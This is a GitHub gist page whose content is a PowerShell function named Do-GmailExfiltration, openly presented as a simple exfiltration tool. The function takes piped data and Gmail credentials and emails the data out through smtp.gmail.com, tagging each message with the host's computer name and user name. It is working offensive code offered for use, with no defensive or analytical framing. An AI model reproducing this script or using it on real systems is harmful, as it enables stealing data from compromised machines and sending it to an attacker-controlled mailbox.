Skip to content

Instantly share code, notes, and snippets.

@daniel0x00
Created July 20, 2016 11:15
Show Gist options
  • Save daniel0x00/4a8ca5c314a416d216017d1d9d48bc1f to your computer and use it in GitHub Desktop.
Save daniel0x00/4a8ca5c314a416d216017d1d9d48bc1f to your computer and use it in GitHub Desktop.
PowerShell simple gmail exfiltration
function Do-GmailExfiltration
{
[CmdletBinding()]
param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeLine = $True)]
[String]
$Data,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$Username,
[Parameter(Position = 2, Mandatory = $True)]
[String]
$Password
)
process {
$smtpserver = "smtp.gmail.com"
$msg = New-Object Net.Mail.MailMessage
$smtp = New-Object Net.Mail.SmtpClient($smtpserver,587)
$smtp.EnableSsl = $true
$smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password");
$msg.From = "$username@gmail.com"
$msg.To.Add("$username@gmail.com")
$msg.Subject = $env:computername+'__'+$env:username
$msg.Body = $Data
$smtp.Send($msg)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment